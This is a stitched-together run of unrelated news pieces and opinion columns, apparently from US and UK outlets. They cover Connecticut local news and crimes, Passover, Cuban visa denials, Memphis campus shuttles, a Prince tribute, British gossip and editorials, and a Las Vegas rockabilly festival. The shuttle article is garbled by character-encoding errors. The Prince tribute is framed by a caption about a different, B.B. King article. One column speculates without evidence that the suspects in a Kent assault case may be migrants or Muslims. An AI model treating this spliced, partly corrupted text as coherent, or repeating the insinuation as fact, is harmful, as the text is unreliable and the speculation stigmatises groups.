Based on last years survey results, the organization has also planned a series of seminars for business owners and residents to meet with town officials. On May 5, for example, the chambers Government and Community Affairs Committee invited Patricia Sesto, the towns inland wetlands and watercourses director, to speak with its members on whats happening in her department. The chamber is also planning to invite Rita Azrelyant, director of parking, to share updates on parking in the town, leading up to the annual Sidewalk Sale in July.

The chamber has already received 50 submissions, OKane said. She expects to receive several more before releasing the results in late May.

We optimistically look forward to viewing what the results are, OKane said. Anecdotally, the trend seems to be positive, and we look forward to seeing if that is indeed correct.

Megan.Dalton@scni.com; 203-625-4411
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Many teenage summers are spent scooping ice cream, manning a cash register or stacking clothes at the mall. Even some of the most successful business people started out in part-time menial labor.

According to Business Insider, BuzzFeed CEO Jon Steinberg scooped ice cream, was a camp counselor assistant, worked in retail, and chopped vegetables for a catering business before making it big. Billionaire Richard Branson's first businesses were breeding budgerigar birds and growing Christmas trees.

And, as they say, celebrities are just like us too. Huffington Post says before they were famous, Brad Pitt worked at a fast food restaurant, Madonna was a cashier at a Dunkin' Donuts and Sandra Bullock was a waitress.

But we want to know where your first local job was in southwestern Connecticut.

So far, we know our readers have worked at Dunkin' Donuts, Stop & Shop and the Danbury Mall. We've also taken a trip down memory lane with some summer job spots that no longer exist like Frances' in Trumbull, Bradlees, Arrow Restaurant in Westport and CompUSA.

Let us know in the comments where your first job was and in what year, and we will add your job to the slideshow. Bonus points if you send a photo via Twitter or Facebook!

As horrible as they seemed at the time, these summer jobs can be really helpful in future business. Business insider reports that Jacki Zehner, CEO of Women Moving Millions, learned a lot working at concession stand.

"First, I learned how to deal with pressure. At 14 years old, serving customers is stressful, but this stress was exceedingly magnified when the lines were long and the service was expected to be fast. During those 15 minutes we hustled and the energy was high. I discovered that I loved this feeling, and I would challenge myself to be the fastest server at the concession. A decade later, when I was being interviewed for a job on the trading floor of Goldman Sachs, I realized that the atmosphere felt strangely familiar," she told Business Insider.
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BRIDGEPORT A two-month manhunt for the suspect in the citys first and only homicide of the year  the Feb. 11 shooting death of Javoni Patton  ended Friday morning.

Members of the U.S. Marshal Violent Crime Fugitive Task Force tracked 32-year-old Bernard Brandon to an apartment building on Fairfield Avenue, where they found him hiding under the bed of a disabled man.

Police Detective Robert Martin, a member of the task force, said Brandons girlfriend, Ebony Curtis, 38, was charged with hindering prosecution.

Brandon was charged with murder, criminal possession of a firearm, carrying a pistol without a permit and having a weapon in a motor vehicle. He was held in lieu of $1 million bond.

Patton died of gunshot wounds he sustained late in the evening of Feb. 11. in an apparent robbery at the edge of the East End, police said.

Police said Patton managed to walk a few paces away from his car  which appeared to have been rummaged through  before collapsing on Connecticut Avenue.

Martin said police received information that Brandon was hiding in the home of the disabled man. The man is bed bound and has people check on him, the detective said.

Task force members went to the apartment and the resident called from his bedroom, saying they could enter, Martin said. As police were going to the bedroom, Martin said, he said Detective Eric King saw a man matching Brandons description, squeezing under the bed.

Martin said Brandon initially refused to come out from under the bed but finally agreed after police arrested his girlfriend, who had been in the apartments bathroom. The resident told police Brandon had been living in his apartment for three days.

The detective said Curtis had previously refused to let police search her Smith Street apartment and denied knowing where Brandon was.

Curtis was held in lieu of $20,000 bond.
BRIDGEPORT  Facing a judge Friday for fatally shooting his girlfriend and wounding her stepfather, Jose Santiago was asked if he had anything to say.

Everythings fine, the former city man remarked.

But it wasnt fine for Superior Court Judge Robert Devlin, who then sentenced the 38-year-old Santiago to 36 years in prison.

You shot and killed an unarmed woman and when her stepfather tried to step in and save her you shot him, the judge retorted. This was a terrible crime.

Santiago previously pleaded guilty to first-degree manslaughter with a firearm and first-degree assault as the case was about to go on trial.

Supervisory Assistant States Attorney C. Robert Satti Jr. told the judge he agreed to the plea bargain because Santiagos lawyer was going to raise a defense of extreme emotional disturbance, which could have led to a manslaughter conviction.

Satti said that on July 6, 2014, Santiago had been on his way to Florida when he turned around for some unknown reason and headed back to the Pearl Street home of his girlfriend, 24-year-old Kiromy Fontanez.

When Santiago got out of his car, he carried with him a shirt soaked in bleach, which he apparently intended to harm Fontanez with, the prosecutor continued.

But during a subsequent dispute Santiago shot the stepfather and then fatally shot Fontanez as she huddled in a room with her mother, Satti said.

Santiago then calmly hailed a cab for New Britain, but was stopped by then-Captain Armando Perez  who has since become Bridgeports police chief  and Lt. Chris LaMaine.

Police said that when officers arrived at the Pearl Street address, they found Fontanezs father standing on the front steps, with blood running down his left leg.

Help  she is on the floor and she is not breathing, police said he told them.

Fontanez was found lying on her back with a gunshot wound to her lower jaw.
SHELTON  Detectives working with Drug Enforcement Administration agents have arrested a local heroin dealer.

Detective Richard Bango, a spokesman for the Shelton Police Department, said that officers arrested 27-year-old Michael Neudeck on April 20 on three different warrants.

The arrest stems from a month-long investigation between the New Haven DEA Tactical Diversion Squad and Shelton detectives into the illegal sale of heroin in Shelton, said Bango. After a lengthy investigation it was discovered that Neudeck was selling heroin in the Huntington, Shelton area.

Neudeck was charged with one count of narcotics possession and three of possession with intent to sell and released on a $50,000 bond with a May 4 court date.

Bango said that anyone with tips for police may call (203) 924-1544 and that calls will be kept confidential.
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TRUMBULL  The traditional story of Passover celebrates the liberation of the Jewish people from slavery in ancient Egypt.

Its an important narrative, Rabbi Colin Brodie said Friday, one that still holds true today.

There are many folks who are not free in the modern world, said Brodie, the rabbi at Congregation Bnai Torah in Trumbull. We need to think of others  and all the causes for justice in the world  and bring those into our thinking at Passover and every day.

The Passover holiday, which began Friday at sundown, ends at sundown on April 30.

All over the world, Jewish people observe the start of the holiday with a Passover Seder, a special service that tells the story of God commanding Moses to lead the Jews out of Egypt, to the Promised Land.

In the Book of Exodus, as the Jews were chased by Pharaohs army, they didnt have time for their bread to rise in the desert, so they ate it as unleavened bread  matzo.

During Passover, observant Jews do not eat any leavened products, including bread and other baked goods. Matzo becomes a spiritual staple of the Seder as well as the soul.

The Seder is not a service of observation, but a service of participation, said Brodie, 51, a native of London with an accent to match. Matzo, the bread of affliction, becomes matzo, the bread of freedom.

In Fairfield, Jewish Family Service marks Passover by giving traditional food to those who dont have it to celebrate the holiday. This year, in partnership with Project Hope Bnai Brith, Jewish Family Service has donated 125 baskets of Kosher for Passover food to residents in Bridgeport and the surrounding communities.

For Brodie, real freedom comes in helping others become free  not just at Pesach, the Hebrew word for Passover, but throughout the year.

Do you just take away from the spiritual feeling of the day, or do you add to it? said Brodie, who has served as rabbi at Congregation Bnai Torah for nearly 13 years. We must be at the forefront of social action.

There are so many people in the world who dont have freedom in any context of the word, he said. If were not thinking about those things at Pesach, we really need to be.
DSK / AFP /Getty Images

Presidential candidates Donald Trump and Hillary Clinton will both make appearances in Bridgeport this weekend, multiple sources told Hearst Connecticut Media on Thursday night.

Trump, the Republican frontrunner, will hold a rally at The Klein Memorial Auditorium at midday on Saturday. The visit will follow Trumps Saturday morning rally at Crosby High School in Waterbury.
Hamden police have arrested a 51-year-old man and two teenagers who are charged with the armed robbery of the Wells Fargo bank on Whitney Avenue Thursday afternoon.

Police said that three armed gunmen, who were wearing masks, entered the bank before 3 p.m. and immediately controlled the employees at gunpoint. They ordered a teller to open the cash drawers. They then fled in a Mercedes Benz with an undisclosed amount of money.
The US denies visa to Cuban entrepreneurs

Florida International University (FIU) has selected a group of 25 self-employed Cubans entrepreneurs to participate in training courses in business management and other subjects related to the management of private businesses, from next May 20.

Through the FIU program InCubando, young entrepreneurs of the island have the opportunity to access a training for their small business, something perfectly in line with the new guidelines of the US government towards Cuba: to empower the Cuban people by supporting the non-state sector of the economy.

However, the newly opened US Embassy in Havana has denied visas to more than half of those participants approved to be part of this important course, which has provoked a quick response from some of them.

Cuban lawyer and entrepreneur Belkis Maura Duarte wrote a letter to US President Barack Obama, in her and her colleagues behalf.



"(...) At the meeting with entrepreneurs You asked: What do you need? and quite rightly - between various needs - it came up the need for training.

Your speech was very encouraging for my people and especially for us Cuban entrepreneurs, because we are interested in improving in our business, and we need training in an enabling environment to form the new Cuban entrepreneur in the free market economy in the capitalist world.

We applied for visa at the US Embassy, with all required documents that also support our links with Cuba and demonstrate our return, but the officer who interviewed us said that the reason for the trip was not clear and that we did not classify for travel.

It's a shame that in your meeting with Cuban entrepreneurs in Havana, along with the need for training in a propitious environment, nobody told you about the need to grant visas to those entrepreneurs who managed to be accepted to study in the U.S.

Mr. President, I respectfully ask you for reassessment of visa applications, not only to me, because I was not the only one who was denied, but to all who have an interest in improving our knowledge and business and that is a reality the fact that we want to return to Cuba to put into practice what we learn. (...)"

source: www.cibercuba.com


Kathy Manos Penn

In the U.S., falls are the leading cause of injury for people over 65

Every 17 seconds, someone in this age group is treated in an emergency room for a fall

Every 30 minutes, one will die from injuries caused by falling

If we think of balance at all, most of us think of work-life balance and the never-ending struggle to make time for work, family and even, selfishly, ourselves. Somehow, pre-families and pre-careers, we managed to fit in studying, playing, maybe a part-time job, and plenty of sleeping. It's only in our late twenties and thirties that we seem to become conscious of the juggling act, as we add more and more to our schedules. And, it doesn't get any easier after that.Think of balance another way, and you can add yet another ball to your act: maintaining your physical sense of balance. I know, I know, you thought if you ran around all the time and were physically active most of your life, you could start to take it easy later on. Not!The WSJ reports that the three systems-the visual, the vestibular (or inner ear) and the proprioceptive (or sense of body position)-that keep us balanced start to erode when we're in our 40's. The good news is that doing 5-10 minutes of balancing exercises each day can counteract that erosion.Reading the WSJ article made me thankful that I've been doing yoga for so many years. So much of yoga focuses on balance. The tree pose , where you stand on one leg with the foot of the other leg resting on your inner thigh, can be challenging, but well worth it. As most yogis know, some days you can balance, and some days you can't, but you keep trying. The John Denver line "Some days are diamonds; some days are stone" keeps running through my head. I guess because some days in yoga class, you sparkle and other days, your body feels like a lead weight."There is also a mental component to regaining balance, says Arlene Schmid, an associate professor of occupational therapy at Colorado State University. This mental aspect is a bigger factor for people with impaired balance due to advanced age or illness.In a study published by the medical journal Stroke in 2012, Dr. Schmid's team taught yoga to post-stroke patients for eight weeks. Of the 34 patients, 19 initially had balance impairment as measured on the Berg balance scale. After training, 11 had impaired balance...Yoga can boost balance ability because it increases flexibility and its many poses integrate movements that strengthen a lot of different muscles, including those in the hip, says Dr. Schmid."Consider these facts:I experienced some of this with my 82-year-old mother, who had several falls. She went further downhill with each fall and never quite came back to the level of health she had before.If reading this doesn't make you run right out and sign up for yoga, perhaps you'll instead try a few of the simple exercises included in the article. Here's to all of us staying balanced in every way. May all of our days be diamonds.
Berlin, Windber and North Star bring plenty of momentum into Week 10

Check out what we learned in Week 9 of the high school football season across Somerset County.
Leesburg Electric: With prices soaring, late fees are being waived

Prices are up, so Leesburg Electric has decided that, as of Oct. 1, late fees will be waived.
Sophomores Patrick Cephus (left) and Clentis Jennings (right) were two of three passengers on the Blue Line Tuesday afternoon. Cephus, a political science student, said that he does not use the bus line that often.

BAILEY CLARK Sophomores Patrick Cephus (left) and Clentis Jennings (right) were two of three passengers on the Blue Line Tuesday afternoon. Cephus, a political science student, said that he does not use the bus line that often.

When Lori Ingram, a nursing student at the University of Memphis, boards the Blue Line bus service, a friendly driver and an empty shuttle usually greet her.A

The 20-year-old student from South Korea rides the bus service three days a week to take her from the main campus to classes at the U of Mas Park Avenue campus, which would be a 30-minute walk. While the service is convenient for her, she has noticed how little it is used.

A aI feel like the only person on the bus almost all the time,a Ingram said. aSometimes, I might see two or three other people on it.aA

A survey conducted by representatives from The Daily Helmsman came to a similar conclusion.

About 85 percent of the seats on the busses that traverse the campus area five days a week are empty, and some buses make a full round-trip completely empty.

Even though students and university employees can board the shuttles without paying a fare, the service is not free. The U of M paid nearly $725,000 in 2015 to Groome Transportation of Tennessee, the private company that operates the shuttles. That money comes from mandatory and non-mandatory parking fees students and university employeeas pay.A

Since the University of Memphis signed the five-year contract with Groome in 2012, the U of M has paid more than $2.3 million to the company. The contract is set to end in February 2017.A

While some on campus complain buses are almost always empty, the buses are essential to many people who work and live on campus, said Thomas Miller, assistant director of Parking and Transportation Services at the University of Memphis. A

aThe buses are really helpful. The city bus takes too long, and if I didnat have the Blue Line, it would take me an hour to walk to work.a -A Quita McKiney, 28, Physical Plant employee at the U of MA

aYes, Iad love to see the buses with eight to 15 people on them at a time instead of threes and fours, but for those three and four, thatas their ride,a Miller said.A

Miller said when he hears complaints about ridership, he explains the bus service gets thousands of people on it per week.A

aIt always surprises them,a Miller said.A

The university reported 62,465 riders in the fiscal year 2014-15, according to information provided to The Daily Helmsman by Miller.A (These numbers do not include special events or the trips to and from Tiger games.)

Jonathan A. Capriel LEFT: This is how many people ride the Blue Line buses per year. These numbers do not include special events or round trips to Tiger games. These numbers were provided by the U of M's Parking and Transportation Services. The counts are made through cameras inside the buses that were installed through a third-party company, not Groome Transportation of Tennessee. RIGHT: This is how much money the University of Memphis pays Groome to run the Blue Line system. The funds that pay for this come from the mandatory and non-mandatory parking fees. With the exception of 2012, the university pays Groome about 20 percent of the parking revenue. Data collected from the University of Memphis Parking and Transportations Services to the Daily Helmsman via an open records request.

Using the data from the Helmsman survey and determining the total number of hours and days the buses are in service, an analysis estimated the Blue Line service has about 2,300 riders every week a which is very close to the numbers Miller provided and further confirms that many buses are driving around mostly empty. A

Milleras ridership numbers are collected via a camera mounted on the buses through a third party company, not Groome. The university only pays Groome for the hours they drive.A

aAt the end of each month we go over the performance and adherence to the number of buses and time on route and if there are shortfalls we do not pay for these lost hours,a Miller said. aWe have had a terrific relationship with Groome, they are a family owned company and while they have many clients nationwide, airports and universities, they are not one of those parking conglomerates. It is a good fit between the U of M and Groome.a

BAILEY CLARK Arthur Mask drives students around campus every Tuesday from noon to 6 p.m. on the University of Memphis shuttle system, the Blue Line. On his final trip Tuesday afternoon, only three students were using the bus.

A Many of those who live in the graduate student housing at Park Avenue do not have cars or share one with a family member, Miller said. The Blue Line is their only way to get to the main campus. A

Many U of M employees without cars rely on the Blue Line as well, he said.

Workers such as Quita McKiney, 28, said the shuttle takes her to work.A

A aThe buses are really helpful,a she said. aThe city bus takes too long, and if I didnat have the Blue Line, it would take me an hour to walk to work.a

Larry Winters, a Blue Line shuttle driver, said he sees about 40 passengers a day during his 11-hour shift.A Winters was a supervisor for the Memphis Area Transit Authority, where he worked for 30 years, before he took this job.A

Winters does not see as many passengers as when he drove a city bus, he said, but he does get to know the passengers a lot better, many of whom are U of M Physical Plant employees who rely on the Blue Line to get to work.A

aI drop a lot of them off at South campus around 3 (p.m.)a Winters said. aThatas when most of them start work.a

The Helmsmanas surveyors recorded bus ridership for a three-week period before spring break, riding the shuttles for a little more than 12 hours. They rode the bus during all hours of the day and every day of the week looking specifically at the two main campus routes, the Park Avenue route and the special route to the Kroger at Poplar Plaza.

During the 26 round trips, the survey showed that 106 people took the bus. Two of the round trips had no riders at all, and 21 of the rides had six or fewer riders. The most popular route was the Thursday afternoon route to Kroger, which had between 14 to 16 riders at a time.

Each of the buses had 28 seats for riders, which means of the 26 round trips, there were a total of 728 seats. Of those 728 seats, 106 were filled for at least part of the trip with a rider. The remaining 622 seats were empty for the entire trip, which is about 85 percent.
Reporter Gus Carrington won in the arts and entertainment category. Carrington wrote a tribute to B.B. King , who died last year. His story gets to how the blues legend changed music, and why he still matters.

In the summer of 2013 I spent $70 on one trip to the Walgreens on Summer Avenue. What did I buy? Batteries, sharpies, and a Prince CD. I knew I had already spent quite enough money that day, but Princes intense stare, curly hair and ginormous hog of a motorcycle lured me into believing that Purple Rain wasnt just a last-minute purchase. It was a necessity.

Ive loved Prince since 7th grade. I loved everything about Prince - His music, his voice, and how he defied what a normal pop-star should look and sound like. Prince was great. Prince was weird. For my friends who thought Prince was too weird Id often tell them that lyrically- Prince just...gets it. And he did. It is truly hard for me to write about this man in the past tense and the news of a celebritys death has not stopped me in my tracks like this since Robin Williams.

Right now, Im in disbelief. Right now, Im in denial. Right now, I am certain that this is all just a publicity stunt (like that time he changed his name), and that in three days Prince Rogers Nelson is going to spontaneously reveal himself in a grandiose way like some funky, purple Jesus. The Prince symbol will be projected in the skyline of various cities (like Batman) and Prince, the dark knight that he is, will squeal, groan and start pumping out the opening guitarlicks of Kiss to crowds of relieved albeit confused pedestrians. Prince has duped us again!

Yet, all major news networks are reporting that hes gone. His Wikipedia page has a death date. His personal publicist even confirmed the terrible news. He was found unresponsive in an elevator at about 9:45 a.m. Thursday. Weve lost another incredibly talented alien in the year of 2016 and a few boxes on my own bucket list will never truly be checked off.

If I could have met Prince I would have told him how when I was young my Dad put When Doves Cry on mix cd of songs for me to listen to, and Doves just stuck out. Its simplicity. Its subdued funkiness. Its lyrics. Oh, its lyrics. It took me a long time to truly understand the complicated dynamic that When Doves Cry illustrates between two people, (or animals) but as a young man in the millennial dating pool I can vouch that the 1984 hit is timeless.

Dig if you can a courtyard. An ocean of violets in bloom. Animals strike curious poses. They feel the heat. The heat between me and you.

Touch if you will my stomach. Feel how it trembles inside. Youve got the butterflies all tied up. Dont make me chase you. Even doves have pride.

Prince is very suggestive. But hes also very, very weird. At the same time hes so confident about how weird he is, and ultimately - incredibly poetic. And Cool. Prince was just cool and there will never be another pop star as cool and collected ...and yet bizarre as prince. Unapologetically so. His dynamic in the music industry was completely original and yet widely respected. Musicians loved Prince. Critics loved Prince. I loved Prince.

Now hes left us all standing alone in a world so cold. Its going to take a while for me to hear When Doves Cry or Purple Rain, or even, I Would Die For You and just enjoy the lyrical complexities and odd antics of Princes awesome voice without missing him too much. When an artist is that weird he reaches some weird part of yourself you didnt know could be cool. For accomplishing that feat for many, many fans Dave Chappelle once unknowingly but somehow accurately described how to react about Princes many victories on this planet.

Game - Blouses.

Reporter Gus Carrington won in the arts and entertainment category. Carrington wrote a tribute to B.B. King, who died last year. His story gets to how the blues legend changed music, and why he still matters.
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The orange drizzle birthday cake produced by Great British Bake Off victor Nadiya Hussain met with the Queen's approval at Windsor Guildhall yesterday simply because it wasn't adorned with thick icing.

The Queen suffered a rare public malfunction last year when she was unable to cut through a heavily iced fruit cake at the centenary of the Women's Institute.

After trying valiantly, she had to get Princess Anne to finish the job. No similar trouble with the orange drizzle. Incidentally, her personal favourite is an iced honey and cream sponge.

The orange drizzle birthday cake produced by Great British Bake Off victor Nadiya Hussain (left) met with the Queen's approval at Windsor Guildhall yesterday

The Queen suffered a rare malfunction when she was unable to cut through a heavily iced fruit cake at the centenary of the Women's Institute but no such trouble with Nadiya's orange drizzle

Recalling being taken 'hostage' in Buckingham Palace  a tradition dating back to the 17th century when the Monarch travelled to Westminster for the State Opening of Parliament  former Labour MP and Vice Chamberlain Janet Anderson told yesterday's Daily Politics on BBC2: 'I remember as the Queen and the Duke of Edinburgh were leaving for Westminster, Prince Philip said to me, 'If we don't come back safely, you get shot'.'

Thespian Sir Patrick Stewart, 75, surprised guests at a Los Angeles screening by inexplicably arriving dressed in full drag.

Observers suggested that, in a silver wig, the thrice-married Stewart bore a startling resemblance to another British star, cheekily claiming he looked like 'Helen Mirren's fun sister'.

Surely the grand Dame, 70, would not approve!

Thespian Sir Patrick Stewart (pictured), 75, surprised guests at a Los Angeles screening by inexplicably arriving dressed in full drag

Labour MP Chris Bryant yesterday mourned comedienne Victoria Wood, recalling a line from her Ballad of Barry and Freda: 'Let's do it! Not bleakly, not meekly. Beat me on the bottom with a Woman's Weekly.'

Bryant added that this 'sounds like a good time was had by all at last week's Tory party away day'.

Is 'Capt Underpants' Bryant, a man who was once caught posing on the internet in his smalls, quite the man to make such a wisecrack?

Labour MP Chris Bryant (pictured) yesterday mourned comedienne Victoria Wood

Fast show comic Charlie Higson, 57, says that as a child, John Cleese was his hero.

'He was a brilliant performer, both verbally and physically. But despite going on to make Fawlty Towers and A Fish Called Wanda, he now comes across as quite angry and bitter, and to tell you the truth, I find him a bit scary.'

Watch out, the pompous old bore takes criticism personally!

Fast show comic Charlie Higson (pictured), 57, says that as a child, John Cleese was his hero

The Rev Lucy Winkett, 48, who paid generous tribute to the Queen on Radio 4's Thought For The Day yesterday, is yet to be made a bishop, despite being strongly tipped in the past.

Currently Rector of St James's Piccadilly, she's considered one of 'The Magnificent Seven' of female bishops in waiting, I'm told.

Gushing forth about Her Majesty on the airwaves, she hailed the Queen's reign as 'a life lived like no other life is being lived on Earth' and 'incredibly impressive'.
Heres what we know. A young woman was allegedly sexually assaulted by a gang of men in the car park of the giant Bluewater shopping centre in Kent.

She claims to have been bundled into the back of a van and subjected to a terrifying ordeal which may have lasted up to an hour and a half.

Police arrested 11 suspects, aged between 16 and 22, one of whom was released without charge. The others have been bailed to report back in May.

Surely, that in itself is worrying. Do we want to see people accused of serious, mob-handed sexual assault freed on police bail? This doesnt appear to be one of those He said, She said cases. There were ten of them and one of her.

Scandalously, for reasons best known to Kent Police, this has only become public knowledge in the past 48 hours, after rumours reached the ears of journalists at Kent Online  six weeks after it is supposed to have happened

The woman is said to be in her 20s and the alleged attack took place on Mothers Day, Sunday March 6. She is reported to have been snatched from a bus stop, although that hasnt been confirmed.

Theres also been a whisper that the woman knew her assailant s, which is nearly always the case when it comes to sexual assault.

Scandalously, for reasons best known to Kent Police, this has only become public knowledge in the past 48 hours, after rumours reached the ears of journalists at Kent Online  six weeks after it is supposed to have happened.

In a statement dragged out of the police yesterday, they would only say: We appreciate the public concern in relation to this incident but would like to reassure members of the public that we have made arrests and at this stage we are not looking for anyone else in connection with the case.

This is being treated as an isolated incident and there are no other incidents that are being linked to this offence.

Well, thats their official line and theyre sticking to it. Reporters covering the story have had the devils own job trying to establish any further information.

The woman is said to be in her 20s and the alleged attack took place on Mothers Day, Sunday March 6 (file photo)

For commercial reasons, the operators of the Bluewater centre have been understandably anxious to downplay the incident and stress that the car park in question is covered by CCTV and round-the-clock security patrols.

Yet when the local Press asked for the CCTV footage, they were told by police it would not be made available because the suspects had quickly been identified.

Confused? Youre supposed to be. There are many more questions than answers.

Heres what we dont know. No names or addresses of any of those arrested have been released.

Police refused to reveal the ethnic backgrounds of the men or say whether any or all of them are migrants, asylum seekers or refugees recently arrived in Britain.

All they would confirm is that the men were from Kent, which gives no clue as to their real identity. Had the alleged attackers been members of a local rugby club, Im sure we would have learned about it by now.

If they were bikers belonging to the Dartford chapter of the Sons of Anarchy, or Millwall fans who had popped into Bluewater for a little light retail therapy on their way home from a cup game, it might just have leaked out earlier.

How did the investigating officers manage to identify the suspects so quickly, by their own admission? Were all 11 of them already known to police, as they say, and could be picked out plainly from the CCTV images?

Did the police manage to trace the van involved? When they went to the address at which the vehicle was registered, did they find all the suspects living under the same roof?

Im sorry, I havent a clue. And neither has anyone else outside the headquarters of Kent police and those involved.

Look, for the record, I am not suggesting that the alleged perpetrators of this incident are recently arrived migrants, or from any particular ethnic or religious group. We just dont know.

But there are disturbing parallels here with other serious sexual assaults on women by gangs of men  not just in Britain but across Europe. And the secretive behaviour of the police has only served to heighten suspicions.

The woman is said to be in her 20s and the alleged attack took place on Mothers Day, Sunday March 6

In Rotherham, Bradford, Oxford and elsewhere, the police did everything they could to conceal the identity of the predominantly Muslim gangs carrying out serial rapes and sexual assaults on teenage girls.

In Cologne, Germany, and in Sweden, the police tried to pretend that so-called refugees involved in sex attacks on women were simply groups of local men.

A shameful conspiracy of silence has descended across the Continent when it comes to foreign men molesting women at swimming pools and, yes, in shopping centres.

Kent is the gateway to Britain for migrants, many of them young men aged, er, between 16 and 22  as some of us have long been pointing out. They can regularly be seen clambering out of lorries on the A2 and M25.

No wonder local residents and councillors have been alarmed by the news of the Bluewater attack. They are especially angry that it has taken six weeks for them to find out.

What are the polices motives in keeping this under wraps? Its the lack of information and the delay in making it public which has fuelled concern and suspicion.

If theres an innocent explanation, lets hear it. If the ten men currently on police bail are all sons of Kent yeomen, who can trace their roots in the county back to the Domesday Book, why not say so?

But thats not how it works any more. Ever since the Leveson Inquiry and the absurd Filkin Report into police-Press relations, coppers have had it drummed into them that saying anything to a reporter is tantamount to a career-ending criminal offence.

Not so long ago, someone from Dartford CID would have had a quiet word over a pint with the crime correspondent from the local rag, filling him in on the background to the incident and subsequent arrests.

The briefing would have been off-the-record and no confidences would have been betrayed. If the reporter was barking up the wrong tree, hed have been put straight.

If these men were Millwall fans, it wouldn't have taken six weeks for the story to come out Richard Littlejohn

Equally to the point, an alleged gang rape  for want of a better expression  at one of Britains biggest shopping malls is surely a matter of national, not just local interest. So why keep it quiet for six weeks?

Late yesterday, when it became apparent that the Daily Mail and other national news outfits were sniffing around the story, the police were bounced into issuing a subsequent statement saying: The 11 men arrested are from Kent, not Muslim, as has been suggested.

No one has suggested they are Muslim. We simply wanted to know more about them. Telling us they are from Kent still leaves us none the wiser.

This isnt just about the polices bovine and counter-productive refusal to talk to the Press. It goes way beyond that. This is about the publics right to know.

How dare the Old Bill conspire to keep quiet about a serious sexual assault at a shopping centre used by millions of people every year?

The public, especially those who live near Bluewater, are entitled to know about any crime of this nature.

Yet the police have tried to prevent anyone finding out anything about this incident  a shocking dereliction of their duty to those who pay their wages.

Freedom of information in Britain is under concerted attack  from enemies of a Free Press like Hacked Off and politicians with something to hide, to wealthy celebrities attempting to conceal their indiscretions behind super-injunctions.

Local journalists are societys first line of defence against official secrecy. The reporters at Kent Online are to be congratulated for forcing this story out into the open.

If people are getting the wrong end of the stick and jumping to conclusions, then Kent Police have no one to blame but themselves.

Their silence has only served to incubate an atmosphere of suspicion and speculation which has no place in an open democracy.
Ministers have at long last taken a first, tentative step towards saving the British steel industry.

At every previous stage of the crisis engulfing this key national asset, the Governments response has been too little and too late.

With China flooding the world with cheap steel, and Indian giant Tata haemorrhaging 1million a day in Britain, it should have been glaringly obvious that a disaster was unfolding.

Yet Sajid Javid, the Business Secretary, somehow managed to be in Australia at the very moment Tata announced it was abandoning Port Talbot and the rest of its British steel works.

The Government appeared lamentably ambivalent about one of our vital strategic industries. For steel is not just another business which can live or die according to short-term global fluctuations.

Ministers have at long last taken a first, tentative step towards saving the British steel industry. At every previous stage of the crisis engulfing this key national asset, the Governments response has been too little and too late

This newspaper is a passionate defender of the free market, and an equally passionate opponent of nationalisation.

But steelmakers certainly do not operate in a free market, and we cannot risk allowing our defence industries to become beholden to the Chinese.

Mr Javid yesterday announced that the Government is ready to take a 25 per cent stake in Tatas steel business to facilitate the search for a buyer.

Hundreds of millions of pounds will be also be made available to reduce the industrys burden of debt.

The Business Secretary, whose admirable instinct is to bolster enterprise, must now show these are just the first steps in a long-term solution.

Only by achieving that can he repair the damage the steel debacle has done to ministers reputation for competence.

None of his business

President Barack Obama needs to tread with immense care during his brief visit to these shores.

For it is anticipated that between dining with the Queen and other members of the Royal Family, he will urge us to vote to remain in the EU.

However tactfully the President wraps this message up, he could end up causing deep offence to his hosts.

For as Stephen Glover pointed out yesterday on this page, it is inconceivable that America would ever think of sharing her sovereignty with any other nation.

President Barack Obama needs to tread with immense care during his brief visit to these shores. For it is anticipated that between dining with the Queen and other members of the Royal Family, he will urge us to vote to remain in the EU

Nor would the Americans give foreigners a general and unfettered right to go and work in their country, something Britain is forced to do as a condition of EU membership.

How unfortunate it would be if Mr Obama were to sully Anglo-American relations, by attempting to cajole us into making sacrifices of which his own people would never dream.

The fabled special relationship is of immense value  but it should never mean US presidents feel entitled to tell the British people what to do.

Labours McSnobs

By banning McDonalds from taking a stall at its party conference, Labour has once more illustrated the yawning gulf between its leaders and the real world.

Here is a successful business, which employs 85,000 people in the UK and feeds millions every day.

By banning McDonalds from taking a stall at its party conference, Labour has once more illustrated the yawning gulf between its leaders and the real world

Millions of other people who dont want to eat there go somewhere else, which is how things should be in a free society.

But to the snobbish, self-righteous and often well-heeled Lefties who control the party, McDonalds is an evil American corporation which grinds the faces of the poor and has no place in respectable society.
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For the 19th year in a row, tens of thousands of rockabilly fans descended upon Las Vegas over the weekend to enjoy four days of music, cars, fashion and non-stop dancing.

The Viva Las Vegas Rockabilly Weekend, held at The Orleans Hotel in Sin City, also treated fans this year to appearances from subculture icons including burlesque dancer and model Dita Von Teese and musical legends Dick Dale and Brian Setzer.

But while the subculture truly begins with the music of the 1950s that was eventually dubbed rockabilly, for many of those in the scene, the fashion is an equal, if not more important component.

That time of year: Rockabilly fans from all over the world gathered in Las Vegas over the weekend for the 19th annual Viva Las Vegas Rockabilly Weekender

All on hand: The festivities included scores of stalls where vendors sold rockabilly-friendly wares (left) and beauty contests (right) where ladies showed off their spectacular fashions

Getting prepared: Some of the regulars at the annual even prepare their looks for each day months in advance

Cat eye sunglasses, pin-curled updos, sparkling gowns and pencil skirts abound no matter where you look during the annual event.

For the ladies in particular, Viva is the time of year that they are able to bust out their most-coveted and hard-sought vintage outfits, with some planning their looks months in advance.

'I start preparing for Viva by first going through the schedule of events and deciding what activities I want to do each day. Then I have fun shopping and putting outfit looks together for each day and evening. I usually start the prepping process in mid-January,' explains vintage-loving mom Devyn Lundy, 35, from Kansas City.

'The process of getting ready and planning for the trip really helps build my excitement and anticipation too,' she adds. 'I get more excited about Viva each year than I do about Christmas!'

Bathing beauties: Some of the fashion-focused in attendance use the event to show off their most interesting vintage pieces

Strike a pose: Outside of The Orleans Hotel, where the event is held, pin-up models pose on vintage cars

Making the cut: Competitions for clothing, glamour and beauty also happen throughout the weekender

Hitting the lanes: The event even has a bowling tournament at the lanes inside the huge Las Vegas hotel in which Viva is held

Photographer Tara O'Connor, 30, of Phoenix, Arizona, who has been attending the weekender for nine years and even works the event doing pin-up portraits, sees things much the same.

'I prepare months and months in advance, usually not long after Viva ends I am already thinking about next year!' she says.

Another attendee, Elena Falcon, 35, of Cherry Valley, California, says that another important part of the preparation is taking in classic films such as Some Like It Hot, Rebecca and Viva Las Vegas.

Then you pack all your most fabulous vintage loot and start out across the arid desert toward the glimmering lights of Las Vegas with extra water and panty hose, she says.

Some of the girls go as far as to log their outfits into spreadsheets to correspond with the different events happening over the weekend, which include everything from jive competitions to festival concerts and even such a thing called burlesque bingo - where a stripping dancer chooses numbers based on where her clothing falls.

Got the look: Every year even hosts a swimsuit competition, for which contestants prepare for by hunting down rare vintage swimsuits

